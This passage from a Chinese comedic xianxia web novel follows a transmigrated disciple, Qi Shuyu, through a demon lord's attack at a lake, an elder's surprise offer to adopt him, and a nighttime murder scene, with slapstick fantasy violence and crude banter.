“邱师姐!!!!”上官玲珑的眼泪说来就来,脸颊比齐舒玉这个掉湖里的人还湿:“呜呜呜呜呜你快去救她啊师兄!”
“我当然知道你别瞎嚷嚷,”齐舒玉没好气地斜她一眼:“难不成会让你跳下来救她吗?”
“呜呜呜师兄你最心地善良了,定会救邱师姐于为难之中!”
“在这里乖乖等着,”齐舒玉抚平嘴角,一本正经地拒绝道:“还有,别拍马屁了你知道我最喜欢听。”
“嗯嗯!那以后玲珑一定多说说心里话!”
“只准说点我爱听的哈!”
齐舒玉眼睛亮亮地呲着牙,
一个猛子扎回水里。
“呜呜——首席,”接近湖中心时,干瘪瘦小的邱姗姗扑腾着过来搂住他脖子,脸上分不清是水还
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是泪,眉头可怜地蹙起:“还好你来救我了……”
她伏在齐舒玉肩膀上,委屈地嘤咛:“都怪我,不小心掉这么远。”
齐舒玉说不出什么话了。
虽然邱姗姗长得一般,但怎么说也是娇娇小小的女孩子,掉湖里也不是故意的,还被吓到,太可怜了吧。
“这不能怪你,”心地善良的齐舒玉犹豫了一下,抬手温柔地拍了拍她的肩,安慰道:“拖油瓶是你这样子的。”
怀里的小身子僵住,
沉浸在男子汉气概中的大猛男丝毫没注意到。
他总觉得好像有什么东西忘记了。
——直到岸边的尖叫声划过天际。
纤细的少女身影被一道庞大身影掐着脖子举在半空。
“上官玲珑!!!”
一声怒吼声在水中炸开,周围水花卷起沉重的浪潮,不留余力地朝岸上石板拍击而去,凡是潮水所到之处,皆是四分五裂。
“唔。”
浓厚的腥甜气从齐舒玉喉间滚出,在舌根蔓延。
“首席……”
微弱的声音唤回了他的神志。
齐舒玉低头。
邱姗姗已经七窍溢血地晕死在他怀里了。
铺天盖地的疼痛刹那间席卷全身,丹田处更像是有一把生锈的冰雪弯刀,或刺或挑,没完没了地大肆挥霍。
分不清哪里比哪里更痛了。
浑身血液仿佛被冻住,
额头颈侧青筋突突直跳。
眼前一阵黑,一阵白,耳中嗡鸣大作。
忍一忍应该没那么痛吧。
齐舒玉这么想着,
反而冷静下来。
那是银翼天尊,上官玲珑不会有事的。
而他,
找到云岁鸿就会没事了。
冰冷的潮水退了回来。
毫无怜悯地拍在双眼灰败的青年脸上。
他的脑海中,
只余一片黑暗。
“啊啊啊混蛋!师兄!师姐!”
岸边少女绝望的哭声像是悬崖边即将断裂的绳索。
“真吵。”
一种沉沉的,似是山间裂谷中传出来含糊不清的苍穹之声,混合着滚滚闷雷,如同逃不脱的蚕茧,将人紧紧包裹,连妄图动根手指亦是蚍蜉撼树。
身体在水中快速移动,又被潮水高高举起来拍在岸上,骨头碎裂的声音近在咫尺。
齐舒玉‘哇’地一声又吐了大口血出来。
“呃——师兄!”
上官玲珑的手刚举起来,就呈现出诡异的角度反向弯折过去。
一声痛呼被死死堵了回去,
眼泪瞬间打湿了整张脸。
已经没有眼泪能流的齐舒玉:……
女人还真是水做的啊?
眼药水就是拿她们做药引了吧!
“找了你许久,本尊耐心已至极限,”齐舒玉趴在地上,只能听见那种奇怪,像是来自遥远过去的神秘声音,明明不是人类的语言,却在他脑中自动翻译过来:“把你偷的东西还回来。”
好玄幻哦。
齐舒玉脑中一震,
又大大地吐了口死亡之血。
“唔?你是谁,”银翼天尊似是才注意到还有只虫子趴在自己脚边,发出模糊的疑惑声:“也偷了本尊什么东西么?”
他说出了书里没有的台词。
“你身上怎么有本尊的味道。”
38.乱套
齐舒玉保持着趴下的姿势浮在空中。
很震惊。
很魔幻。
很小说。
【第六章
这个男人的手臂孔武有力,身躯高大魁梧,在他怀中十分娇小可人的少女花容失色,身子微微颤抖,楚楚可怜地一句话都说不出来。
天哪!
好可怕的魔族!
此时的少女还不知道,她面前嗓音低沉,带着神秘面具的神秘男人,正是赫赫有名的银翼天尊!
……】
此时被封住嘴巴的少女确实痛得说不出话来。
齐舒玉收回目光,喉咙滚动,曾经蠢蠢欲动的炮灰翻身念头,终于死得透透的。
这个没人性的炮灰杀手,
是真他妈不是人啊!
和那赶得上两个云岁鸿的巨大块头比,别说上官玲珑娇小了,他这小猛男都要算发育不良的豆芽菜。
头顶一对刀刃似的黑色漆光弯角,脸上戴着不知道什么骨头制成的面具,也就露出的下半张脸有点人样,皮肤惨白得像是涂满墙灰,还有堆花里胡哨绝对不能考公的纹身。
关键是,全身黑的披风下真有一对银灰色隐隐发光大翅膀。
除了孙悟空,
谁打得过长翅膀的非洲部落白色牛魔王?!
距离那双透得能照出人影的金色眼睛越来越近时,齐舒玉似乎看出了他眼中的困惑,听他咕噜咕噜道:“你……偷了我的血?”
人生第一次见到妖怪,
差点以为失血引起幻觉的齐舒玉本能地摇了摇头。
“没有?”
银翼天尊表现得更困惑了。
上官玲珑在他手里洋娃娃似的轻轻垂荡。
“不可能,你偷了,”他斩钉截铁道:“并且你给自己印上寻迹咒,你想……擅自成为本尊的仆从。”
齐舒玉怀疑自己脑子坏得有够彻底,
净翻译出来听不懂的人话。
——不对!!!!
青年一双超长睫毛的眼睛瞪得溜圆。
他身体里是有问题的!
玄明火!
【“你这好师兄留给你的折子,用魔族精血浸泡过。吸入这种烟火气的人,会对生火者心生依赖之情。”】长垣的话在他脑海里重播起来。
那火折子用上了银翼天尊的血???
还有寻迹咒是……
他张了张嘴,
晕晕乎乎地说不出话来。
乏力地想抬起头,眼前又一阵阵发黑。
“有事相求?”
银翼天尊不知道用哪个器官在发声,回声阵阵,同时手指不由分说地塞进了他嘴里。
齐舒玉:……!!!
妖怪就是没什么礼貌,
怎么随便用铁棍捅人家嗓子眼!
越是干呕,那根棍子进得越深。
渐渐地。
嘴里有些不对劲起来,
有什么东西顺着喉咙流了下去。
除了血腥气以外,鼻腔里充斥着甜腻得令人作呕的草木汁液味,立即唤起了齐舒玉有关秘境里被点燃的篝火记忆。
不是。
云岁鸿这臭傻逼也是哪来克他的本事啊!
一个金灵根,
一个拜金女。
也不来个系统管管,
让主角这么祸害炮灰?!
月光倾洒,一身玄服衬得玉白青年愈发通透,唇边血迹凄婉,眉心痛苦难耐地簇起,睫毛不安又无助地抖动着。
不知道具体喝了多少不敢细想的液体,等齐舒玉发觉自己头不晕眼不花手脚能动弹时,上官玲珑一张白皙粉嫩的脸已经哭到失了血色。
他心头狠狠一跳。
“好了,”银翼天尊的声音好像比刚才清晰了些:“虽然你手段卑劣,但念在你对本尊主一片痴心妄想,本尊可以帮你达成所愿,令你死不足惜。”
齐舒玉头脑一片空白,
人生很少有这么无语的时候。
都有这个等级的大魔头了,不能给他配正版翻译器吗。
“至于你——”上官玲珑被放了下来,银翼天尊指着她颇为恼怒道:“偷了东西就该还回来。”
上官玲珑的手臂不自然地下垂。
啜泣着笑了声。
哭得太久,连嘶哑的声音都不像是她的了,一双小鹿眼里烧起飞蛾扑火的亮光:“你才是应该先将师兄师姐还给我!”
……这女人,
好不怕死啊。
还怪燃的嘞。
这一声嘶力竭如鼓槌重击齐舒玉心房。
难怪自己心甘情愿为她扛下250万,
原来纯粹是被她不畏生死的牺牲精神感动了。
他余光不着痕迹地瞥了眼那双醒目透亮的金瞳。
我靠?
这哥们能听得懂人话!
他还会思考!
当齐舒玉脚踩地面时,
顿悟到有些道理在任何情况都能适用。
比如。
欠债的真是大爷。
银翼天尊把另一个昏迷的东西也堆到上官玲珑脚边,漆黑弯角闪过寒光,斗篷下的羽翼簌簌抖动,黑色唇角自信勾起:“一手交钱,一手交货。”
双臂垂软的紫霞仙子当着牛魔王的面,哭哭唧唧地靠在路人甲怀里,柔弱地矢口否认:“我才没有偷你东西!”
“你有,本尊能感觉得到,”银翼天尊仿佛感受到了欺骗,愠怒道:“丢了的东西在你身上!”
绝美女人落泪:“我没有!”
狂野牛人大吼:“你有!”
“那你说我偷了什么?!”
“本尊不知道。”
牛魔王眼神飘忽起来,周遭雷声隆隆。
青年和少女对视一眼。
终于在她眼里找到了微弱的智慧光芒。
过了会儿,大块头忽地上前一步挺起鼓鼓囊囊的胸膛,傲然低头,用看蝼蚁的眼神看着两只蝼蚁道:“但你肯定偷了。”
齐舒玉揽住上官玲珑后退数米。
‘拔剑四顾心茫然’的无力感油然而生。
操了。
这要先劝哪位爷?
【……“事到如今,你还不肯告诉我他是谁?”男人一双金神奕奕的眼中升起丝丝嫉妒:“上官玲珑,你怎么可以这么对我,我发誓,一定会让你把偷走的心还给我!”
他怀里的少女心中莫名翻涌起难过的情绪,眼泪珍珠一样掉落,我见犹怜。
“我没有,”倾国倾城的少女声如蚊呐:“我没有偷!”……】
齐舒玉仔仔细细核对了一下对话内容。
银翼天尊的确有病,
但上官玲珑也绝不是那种连吃带拿的人!
两位爷僵持不下,
局面陷入尴尬。
齐舒玉脑中突然光芒闪烁,关键时刻总是掉链子的低音炮上线了:“师弟,为何你与上官师妹不见踪影。”
“云岁鸿!”齐舒玉激动地斥责道:“你还敢出现!都怪你!害我害得好惨!”
低音炮声线一紧:“发生何事?”
“银翼天尊你知道吧,他现在就很酷的站在我面前勾引我买他周边!”
“师弟言下之意……他对你出手了?”
回想起刚才喉咙里的异物感,齐舒玉气得哇哇叫:“当然!他还把我从水里卷起来拍到岸上都给我拍吐血了!而且他还威胁我必须跪舔他,不然以后生儿子没——呃、好像编过头了不知道这傻子信不信。”
云岁鸿呼吸有些急促,语气似乎很关心的样子:“你受伤了?”
“对啊,伤心了,”齐舒
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玉莫名有些得意,不由自主哼起来:“伤过的心就像玻璃碎片,爱情什么什么的复原——”
“师弟无事便好,”云岁鸿无情地打断他影视歌三栖的梦,嗓音低沉道:“银翼天尊布施了结界,他实力远在我之上,破开结界需用些时辰,你小心应付,想必燕师伯与长老也已在来的路上。”
“搞什么你也太没用了吧云岁鸿平时能不能好好修炼增强实力啊?!”
“抱歉,师弟——”
“不必自责,”一道浑浊不清的雷声在齐舒玉脑中翻滚:“尔等凡人不过如此,终将化为尘土罢了,永世比不得本尊。”
所有人呼吸凝滞。
我去!
不是签的契声符协议么,银翼天尊怎么能偷听啊?云岁鸿不会是个半吊子吧?!
“不是偷听,”银翼天尊纠正他:“是尔等的声音熙熙攘攘。”
齐舒玉:……
算了,
恋爱脑的脑回路是这个形状的。
“尊上意在何为,”云岁鸿沉声谨慎道:“如有需要,在下定然尽心竭力,切莫伤及无辜。”
齐舒玉叹口气。
这话说晚了,上官玲珑胳膊都被他卸掉了。
“没有,”那双金黄色明瞳游弋,只听‘咔咔’两声,伴随娇滴滴的惨叫,雷声闷响:“本尊仆从和这贼人都活蹦乱跳的。”
“贼人?”云岁鸿敏锐道:“我师弟可是误拿尊上什么宝物?”
“怪本尊没解释清楚,”银翼天尊轰隆隆叹息道:“你师弟误入歧途,已是本尊的仆从,乱臣贼子另有其女。”
云岁鸿不假思索道:“上官师妹非此道中人,尊上定有误会。”
齐舒玉怒了!
这么维护你的上官师妹,
还感觉不到她就是偷心盗贼吗?!
“她偷的不是心,”银翼天尊严肃道:“本尊残酷冷血,最是无心。”
“尊上丢失何物?”
“本尊不知。”
“师妹她……”
“她死不认罪。”
“…… ”
“……”
“……”
齐舒玉安抚着怀里的上官玲珑,忍不住开口:“她说她真的没偷东西。”
“她就是偷了,”银翼天尊一口咬定:“只不过本尊不知道罢了。”
饶是云岁鸿这种脑子不好的也被银翼天尊干沉默了,最后劝道:“尊上,此事需从长计议。”
“本尊黑白分明,”银翼天尊端起架子来:“依你所说,从长吧。”
“可否请尊上撤去结界,让我与师妹当面一叙?”
“撤结界?不可。”
刚才还‘依你所说’的银翼天尊立马不依了:“你们人族最爱在本尊跟前惹是生非,若不是五百年前本尊假意败退,怕是一刻也没个清闲。”
“尊上有所不知,”云岁鸿的声音沉稳得听不出情绪:“坤元剑派一旦同时缺了两名弟子,或许申墨会亲临于此。”
“申墨?”牛魔王似乎想起了什么,仓促的雷声越发响亮:“你们都受他裹挟?”
齐舒玉:……半对半不对吧。
一般我们城里人管这种关系叫上班。
“知道了。”
银翼天尊漠然片刻:“本尊还有法子。”
他那双透明眸子里的得意与狡黠藏都藏不住。
不好的预感才将升起,那么大的块头已经化作遮天蔽日的黑雾,拧成一条蝎子尾巴,直冲齐舒玉眉心刺来。
齐舒玉喉间一窒,不禁双眼圆睁,动作更快,
抱着怀里的上官玲珑朝旁边就地一滚。
“你身为本尊仆从,岂有将本尊拒之门外的道理?!”
‘邱姗姗’蓦地爬起来,干涸的血迹凝固在七窍上:“死罪难免,活罪不饶!”
39.背刺
“你对我师姐做了什么?!”
上官玲珑跟炮弹似的就要冲出去,被齐舒玉一把捏住抓回来。
啧。
半年多了,
今晚上才发现女主原来是个炮椒。
“师弟,”低音炮高负帅在结界消失的瞬间便出现在眼前:“你伤况如何?”
‘邱姗姗’见状连忙扑过来,‘啪嗒’在两人之间摔了个五体投地:“本尊的仆从用不着你思念成疾,他好得很。”
天边渐渐泛白。
“怎么还有弟子……”
显然邱姗姗的存在太过背景板以至于云岁鸿也完全忘记她了,紧锁的眉心格外明显,说了句没头没尾的话:“他们到了。”
在地上胡乱挣扎起不了身的‘邱姗姗’四肢即刻疲软下去,不动弹了。
“师姐?”
上官玲珑小心唤道。
见云岁鸿没阻止,齐舒玉松开她,神色复杂,打心眼里越来越佩服她了。
有危险的时候就属她声音最大,
没事了反倒跟小猫咪似的。
完全是古娜拉探测危险的移动女神!
上官玲珑把邱姗姗旧血未擦又添新伤的脸翻过来时,泪水倾盆而下:“师姐,你的命好苦啊呜呜呜呜呜哇哇哇哇——”
“上官师妹,邱师妹一事……”
“话本里写了的呜呜呜呜,大师兄你放心,我自小饱览群书,知道这事不能说的。”
“有何不可言说的,讲与老夫听听?”
齐舒玉仰头一望。
这局稳了。
“老夫的话可谓是一字不差。昨日才提点你们乌水镇凶险,夜里就出了此等大事,白凤苑一金丹弟子被无辜刨丹,听说不过四百有余已近元婴,实在是可惜。哎,现今你们这些后辈确实比不上老夫当年了——那什么,此话乃老夫有感而发,不必介怀,无非意在劝导你们牢记‘勤’、‘恒’二字,以成大功,别的莫要多想。方才说到哪……哦,白凤苑——提起这白凤苑,真真令老夫唏嘘不已。你们有所不知,白凤苑千年前还是一呼百应的大仙家,那些弟子器宇不凡、铺张扬厉的劲儿,老夫历历在目,若非刀法经五百年前人魔一役蒙了尘,想必与今日的龙崖谷亦能抗衡一二。”
几人身后的朝阳照在吴忧的黑白胡子上,金光灿灿,为他渡上了一层神圣的舞台光辉,讲到兴致,还陶醉地比划了几招。
见他闭着眼摇头晃脑几下,握掌为拳,刃在心中,脚下虚影重重,双拳劈斩力透千钧,一招一式皆破风云,虹贯长空。
“好!!”
齐舒玉看得眼睛一刻不眨,疯狂鼓掌,吹了个响亮的口哨:“再来一个!再来一个!!再来……”
他站在装逼建模哥和抱尸痛哭姐之间,
默默闭上嘴。
真好。
不搞封建纯迷信,
一点捧领导的意识都没有。
以后靠拍马屁纵横天下完全没竞争对手嘛!
也不知道吴忧满不满意他的反应,总之是降下点地位来了:“不行了,不行了,哈哈——老夫风采不及当年。如今墨君山的后辈或许甚少听闻白凤苑,但自古刀剑一脉相承,早年师祖还时常派遣弟子拜访白凤苑,所以我们与白凤苑可谓是交情颇深。昨夜出了这等岔子,你们燕师伯与长老自然要去白凤苑亲身慰问,正好老夫也听说岁鸿与那魔族交了手,特意前来和岁鸿打听打听。”
云岁鸿终于不是木头站桩了,但说话的口吻还是很装:“行凶者实力在我之上,术法古怪,探不出虚实。”
“啊,这、这这……”
吴忧的小胡子快被他捻成了麻绳,最后拍板道:“这不归老夫做主,回去如实禀告你们燕师伯与长老吧。”
齐舒玉等的就是这句话。
邱姗姗的眼皮在跳,是醒来的前兆,就是不知道待会儿醒来的具体是谁。
因为这章女主和银翼天尊感情纠葛纠满一万字都没人出来调解。
看来银翼天尊那个傻叉戏份很重。
必须要帮他俩瞒着点才行。
齐舒玉心生感慨。
当年网上报的男德班课程终于起了作用,
合格的丈夫要学会自己戴绿帽。
清纯男大,
在线爆改成熟猛男!
他自觉地上前,在吴忧的诧异中公主抱起邱姗姗。
“这个麻秆飞机场我可以,那个拜金……咳咳,上官师妹和云岁鸿就交给师叔老头指挥了。”
在一阵粗糙的助跑后,
长剑托着齐舒玉稳稳攀升。
吴忧载着上官玲珑追来,眼底的赞赏多到溢出来:“哎呀,舒玉,这这这——到乌水镇才一日,你已经学会御剑载人了么?!”
在旁边单飞的云岁鸿实诚地补充道:“我与师弟分别前还不见他善于此术,应是一夜之间练成的。”
上官玲珑也像只娇滴滴的百灵鸟:“师兄当时载着我和师姐两人呢!”
啧。
两个小家伙还挺懂事的。
虽然不会拍马屁,但人不错,以后哥升官发财了,一定多多照顾这种被马屁精排挤的老实人!
“呀呀呀呀呀——”吴忧老水鸭叫道:“舒玉你——坤元剑派有你这般后生,着实未来可期,老夫果然没看走眼,你这小子,当真天资卓越!”
齐舒玉眯着眼,
尾巴翘到可以顶起一瓶汽水。
“唉,瞧着点路,”吴忧叮嘱道:“切莫乐极生悲。”
“老头别担心,现在小爷强得可怕。”
“罢了,你有信心亦是好事,”吴忧眼底情绪纷杂,声音缓缓道:“老夫当时听得你的七日誓言,还以为是句玩笑话,没成想你竟这般刻苦勤恳,三日之内便兑现承诺。”
“哈哈哈哈哈听你这语气是不是该奖励我了?给金子吧比较实在点哈哈哈这不就是奖学金嘛老子可真是个风趣幽默的大帅逼——”
吴忧鼻息沉沉,深思熟虑良久,似是终于下定决心道:“钱财是身外之物,过于俗气了。老夫知道你最想得到什么,虽然觉得不太合适了些,不过既然是你所求,并且你也竭尽全力向老夫证明你所言并非儿戏。老夫生平最重承诺,你我之约,必然诚心以待。从今日起……”
他目光炯炯,唇角不知为什么颤抖起来。
齐舒玉跟着激动起来。
什么。
什么!
这老头不会是什么隐姓埋名的世外高人,有一笔传家宝要批量赠送有缘人吧?
“……咱俩……,”吴忧的目光愈发坚毅:“正式结为异姓父子——舒玉,你可以称为父一声爹了。”
“哈哈哈老头你到底要给什——”齐舒玉不可置信地扭头:“什么??”
“没错,儿啊,爹知道这些年……”
“爹尼玛呢?我拿你当爹你拿我当儿……操了我他妈!臭老头你是不是有毛病啊啊啊啊啊——”
“舒玉!”吴忧急道:“你在御剑,稳住心神,莫要大喜大悲!哎,都怪老夫明知你幼失怙恃,这等喜事应择日再允诺你,你现才通此御剑门道……”
“臭老头别念经了你倒是快来帮帮我啊!!”
“老夫……为爹的剑就这么大点,站不下人了,”吴忧叹口气:“儿啊,爹再教你一句前人之言,有道是‘求人不如求己’。”
“啊啊啊啊啊那挤就挤点,我求挤还不行吗?!”长剑一会儿上一会儿下,左右摇晃,齐舒玉即使自封核心力量强到爆炸的猛男也快控制不住场面,慌得大喊大叫:“我手里还有个东西我咋办啊?”
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>“首席?”
虚弱又娇柔的声音在怀中响起。
齐舒玉彻底绷不住了。
“啊啊啊啊啊我不行我不行!这东西醒了啊啊啊啊他会不会咬人啊啊啊啊云岁鸿你别躲在那里不出声快救我啊老公——”
长剑急速下坠,连邱姗姗都反应过来发生了什么,面色更加苍白地躲在齐舒玉怀里,紧紧搂住他的脖子生怕被甩出去。
看着瘦瘦小小的一个女人没想到力气这么大,齐舒玉被她抱得踹不过气来,更加方寸大乱。
距离地面不过三尺。
是遗言的“遗”还没写完就会摔死的人生高度,齐舒玉几乎在邱姗姗手里翻起了白眼。
刹那间。
空中金光大盛。
漂浮在众人周遭的灵气似被一道看不见的漩涡吸了进去。
背脊贴上了冰凉的坚硬物,齐舒玉连剑带人瘫泄下来,被托举着步步升高。
他坐起来一看。
懵逼了。
见过船,见过剑,知道船舰,但不知道还有‘船剑’。
“师弟无恙吧?”
云岁鸿的低音炮从四面八方传来,沉闷的灵力压得人起不了身。
他突破了!
“你刚才不救我是为了躲起来升级?!!”
在性命攸关时发现同事在偷偷上进,齐舒玉脑袋“嗡—”地一声,炸毛了:“你为什么不先救我?”
“师弟,吴师叔说得不错。”
“放屁吧你!他想当我爹还不错?”
“就事论事——”
“论起来我还想当你爹你愿不愿意?!我差点摔死你还非要在选这个时候突破,先救我影响你成神是吧?”
“哎,舒玉,岁鸿已在突破边缘,时机到了难免忽视周遭,若有一念之差,又要多花费些时日,你与他要好,合该体谅体谅他,”吴忧靠过来和稀泥:“况且岁鸿不是并未耽误救你么。”
“那万一他没救到我呢,”齐舒玉不甘心地大吼道:“我不就死了吗?!”
云岁鸿周身金光逐渐回到体内,他似乎还是那般耀眼,身材健硕,长相完美,可是不知道为什么,从头到脚透露出了奇怪的陌生感,淡淡道:“师弟,身为剑修,理应自知御剑危险,下回莫要再逞能。”
“云岁鸿!”
“舒玉,”吴忧蹙眉,声音沉下来:“你师兄迈入化神,作为师弟,理应先恭喜一番才是。再者,他为你师兄,岂能直呼名讳?”
“没关系的嘛,师兄,大师兄既突破了,还救了你,不是两全其美么,”上官玲珑笑嘻嘻地从吴忧身后跳到巨大的剑上来,在云岁鸿跟前有模有样地作揖道:“恭喜大师兄,贺喜大师兄,成功突破化神,得道之时,指日可待!”
云岁鸿微微颔首:“多谢上官师妹。”
邱姗姗也从齐舒玉怀里起来,安静地站在旁边祝贺云岁鸿。
吴忧面上露出满意神色,他打量着霰月,笑容和蔼:“岁鸿的剑从何得来,老夫到不曾听说过可随意变换大小的宝剑,实在是大千世界无奇不有,想老夫活了近千岁,今天被你一个小辈看了笑话。”
“不瞒师叔,”云岁鸿的声音顿了顿:“洗髓后有些过往总不太清晰。”
吴忧脸上有了动容,把麻绳状的胡须反过来拧,轻叹:“苦了你,洗髓确实如此,罢了,过眼烟云不提也罢。”
他又看向另一边双拳紧握不吭声的齐舒玉,啧道:“还是幼童么?气性这般大,还不快来与你师兄道谢?”
“谢什么谢他应该的!”
“你这泼皮——哎,那先贺一声也是该的。”
齐舒玉当即踩上自己的剑,一溜烟飞冲了出去。
踩低捧高。
什么烂公司文化,
傻逼!!!
40.保个小红花
(熬到半夜也会把它替掉的!!!)
就知道郭瑞那个大嘴巴什么都往外说,连中午打架和让薛殷换寝室的小事都告诉云岁鸿了!
还有云岁鸿当时看过来的那什么眼神啊,
简直了!都懒得说他!!
这把告状局最后还是败给郭瑞0.5分。
齐舒玉双手环胸,
铁石心肠地站在剑上恶狠狠冷笑。
还不知道自己的门被卸了吧!臭阴阳怪病痨!
恶毒的他打了个哈欠,揉揉眼睛。
今天眼睛湿润的次数有点多,
太耗精力了。
“累了么师弟?”
云岁鸿的剑从前面飞回来:“你已驻守于此半个时辰,下去歇歇吧,若灵力透支……”
“我不!”齐舒玉反手就是一个大大的叉:“我今天就要站在这里耗死我自己!!你少管我!”
云岁鸿抿了抿唇:“……师弟,方才你确实……”
“不爱听,别讲。”
齐舒玉抱头捂住耳朵,离他远了些。
没想到云岁鸿居然敢问都不问直接连麦!
“方才你确实莽撞了。各门各派修炼心法秘术皆有所不同,你当众驳斥无异于与人树敌,再者,今日龙崖谷弟子也在场。龙崖谷行事乖张,对外结怨颇深,他既知你是坤元剑派首席却贸然向你示好,其中定然有……”
“行了行了!我知道了!”齐舒玉又捂着脸飞回来,耳垂通红,大声叫嚣道:“你别讲了讲话这么有道理让我佩服得五体投地让我很没面子啊!”
云岁鸿下了麦,
微微勾唇。
他这张建模脸连嘴巴也像是算好比例的,不厚不薄,蒙着眼睛这么笑,分不清是正是邪。
……还怪痞帅的。
齐舒玉心头一紧,
咕嘟咕嘟冒泡泡。
“但你今天也有错,我本来风头就不多还全被你抢了,你太帅了我好嫉妒的以后不许再这么帅了听到没!”
“帅?”
云岁鸿眉头轻动。
“就是俊!丰神俊朗玉树临风风度翩翩偏偏脑子不行的帅懂不!你不会是想听我换着法多夸你几遍。”
齐舒玉猛翻白眼:“能不能别这么自恋!”
建模自恋男偏了偏头,发丝在风中飞舞,人很装地问道:“师弟为何觉得我样貌出挑。”
“说你胖你怎么还喘上了,”齐舒玉不满地嘟囔,受不了地皱起脸摇头,摆摆手,泄气了:“行吧你爱听我就多讲——胸肌邦邦硬,腿长一米八,金刚大胳膊,孔武有力拔山兮气盖世间难得一见的帅脸就没人帅得过你我靠不行了我现在真的好嫉妒啊我不要说了!怎么会有你这么帅的猛男这样我都不好意思活了!”
他一拳打在脸上没表情肯定是在心里偷着乐的云岁鸿身上,邦邦硬的胸肌将他拳头上的灵力震了回来,痛得他嗷嗷大叫。
云岁鸿无奈道:“师弟,你还是太过鲁莽。”
“你还有没有人性啊!”齐舒玉已经飙不出泪水的眼里流露出震惊:“我刚刚才夸你帅得不要不要的,你不抱着我道歉说‘宝宝痛痛飞’就算了,还教训我?”
“并非训诫。”
爹味在空中弥漫开来:“只是提醒你战敌时需出手谨慎,三思而行,量力而为,你不过筑基修为,而我已入元婴,近日来亦有突破之感,更何况金木相克,无论肉身或是灵气都远超于你。”
“爱超超!你跟我炫耀个屁啊!”
“师弟——”
“把手从鼻子上拿下来!云岁鸿你什么意思,是觉得我很无理取闹吗?!!!”
**
“周长明?!!”
齐舒玉揉掐着山根狠狠叹口气:“这么帅气稳重有气势地出场把他镇住了吧哈哈—咳咳咳赶快质问他啊啊啊!”
“首席?!”流里流气的周长明脸上惊慌散去几分,大大松口气:“太好了,我总算见着您了!”
齐舒玉被他打断,忘记要说什么,讶异道:“看你一个人在街上瞎溜达,是找我?有事?”
“嘿嘿——也差不多吧,”周长明挠着头讪笑:“但也没别的事,不过想起白日里与您切磋时的风采,希望能讨教一番。”
“你想问哪招啊?”青年圆溜溜的眼睛亮起来,当即来了个干净利落的侧滚翻,双手握住剑柄,身子悬吊在半空中像是马戏团里练单杠的:“这样吗?很酷对吧,但你不会御剑学不来的死了这条心吧。”
“首席真是英姿飒爽!”
“哈哈哈哈——玉树临风怎么没说?”
“……玉树临风!”
正沉浸在唯一观众的崇拜掌声中。
身后突然有人煞风景道:“乌水镇不得孤身擅闯,你为何不听令?”
忙着捧场和被捧场的两人脸色都一僵。
齐舒玉跳下去,拿着剑,不甘心地嘀咕:“明明都说好了让我来教训他的。”
周长明仓皇作揖:“见过云师兄!”
云岁鸿又很装逼地给自己声音里加音效了,余音阵阵:“回话。”
周长明更是不敢抬头了,声音发颤:“这……这、弟子……”
“你凶我粉丝干嘛,当审犯人吗?会不会问话啊你,”齐舒玉没好气地把云岁鸿推开:“他这么紧张怎么回得上话,都说了我有经验,我自己会问!”
他换了副嘴脸,
善解人意地朝向周长明。
“这又不是什么大错你怕什么,问问隐私而已放轻松嘛,虽然云岁鸿在你们眼里是老古董假正经爱教训人凶神恶煞没有人性,但他其实心眼子不坏的,顶多爱PUA我一下。”
齐舒玉手腕翻转,温和地把剑架在了周长明脖子上:“还是你更习惯这么被问话?都依你,那你快说吧,怎么深夜还一个人在外面?”
他很少被问到隐私,仅有的两次长垣和薛殷都是这样问的,不仅没伤到他,这种行为甚至还有种特殊魔力,让铁骨铮铮的他自己就忍不住全说出来了,应该是某种女频文的仪式吧。
尽管男频文里这样是你死我活的意思。
不理解。
但入乡随俗。
周长明猛地抬头,
目露惊恐。
“回——回首席,弟子知错!白日里不该顶撞郭师兄……能不能,我是想来请您……出面将我与薛师弟的房间换回来。”
“换回来?”齐舒玉收了剑,不解道:“有这么怕傅绍归吗?”
周长明心有余悸地捂着脖子,眼神擦过云岁鸿:“这……弟子不便多言。”
齐舒玉:……
有个怂包当粉丝还是怪掉排面的。
但他现在就这么一个粉丝,为了维护自己的亲民形象,强撑着笑容,客气地找了些场面话聊:“看你这么没出息的样子,不会是一下午都不敢回去吧?”
他目光凝在周长明尴尬的脸色上。
“靠!”齐舒玉感到十分不公平地大叫起来:“凭什么啊?!云岁鸿有我这种英俊潇
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洒风流倜傥足智多谋多才多艺的跟班,而我只能有你这个街溜子?还有没有伦理道德,回去老子就举报——”
他的嘴忽而被捂住。
背脊贴在冰冷坚硬的钢筋墙上。
余光中,
身后的霰月剑尖紧绷,
矗立着扶摇直上。
包裹其上的白色布条炸裂成金色碎光,一道寒亮月光闪过锋芒毕露的剑身,巨大刀剑在空中震颤不止,咯哒作响。
须臾。
剑身偏了一寸。
“啊啊啊啊——”
一声凄厉尖叫划破了整个寂静的夜。
如同置身3D鬼片现场的齐舒玉打了个抖。
周身气焰顿时消失无踪。
他牙齿打了个颤:“怎、怎么……”
“出事了,”
云岁鸿回了句废话道,声音不容拒绝:“走。”
霰月降下,剑身又胀大数倍。
齐舒玉像小鸡仔一样被拎上了剑。
云岁鸿侧了侧头,周长明便自己慌里慌张地跳上来,不待站稳,霰月飞冲出去。
闻着空气中越来越明显的血腥味,齐舒玉心中鼓声大作,长剑从腰间蹦出半截来。
他反手握住长剑,吞咽一口:“哥,你说的走不是指离开这里啊。”
“人已经死了。”
云岁鸿眉头紧皱,声音是前所未有一派肃杀之气。
霰月霍然停住。
齐舒玉茫然。
鼻尖的血腥味,
没有了。
“结界?”周长明跪俯在剑上,双手攀着锋利的剑刃,掌心有血线滴落。
云岁鸿‘嗯’了声:“跟紧些。能待我们如此靠近之时才布施结界,若非魔族,便是炼虚以上。”
三人跳下剑,
霰月缩小回到云岁鸿手中。
齐舒玉一颗心扑通扑通狂跳。
不要怕、不要怕。
这是言情文。
女人胆子都跟针尖一样,
不可能写恐怖小说的。
他舔舔唇,口中唾液极速分泌。
云岁鸿脚步一顿,胳膊轻轻动了下,立刻被抱得更紧。
“干嘛?!”半个身子都挂在他身上的青年,张牙舞爪地用气声道:“你自己说要更紧些的!你先害怕的。”
云岁鸿又将脸转回去。
齐舒玉垂眸,艳羡地看着他另一只手中的大剑。
霰月原本就很大,再小也小不到哪里去,虽然看着重,可这种情况还挺有安全感的。
他默默把脸埋进坚强的大.胸肌里。
愁人。
偷瘾犯了。
“……不对啊,”眼不见为净的齐舒玉反应过来:“这么危险我们不回去摇人吗?”
“方才不止你我见声,”云岁鸿稳步前行:“都已过来了。”
“哦哦那还好,人多么?”
“六十有余。”
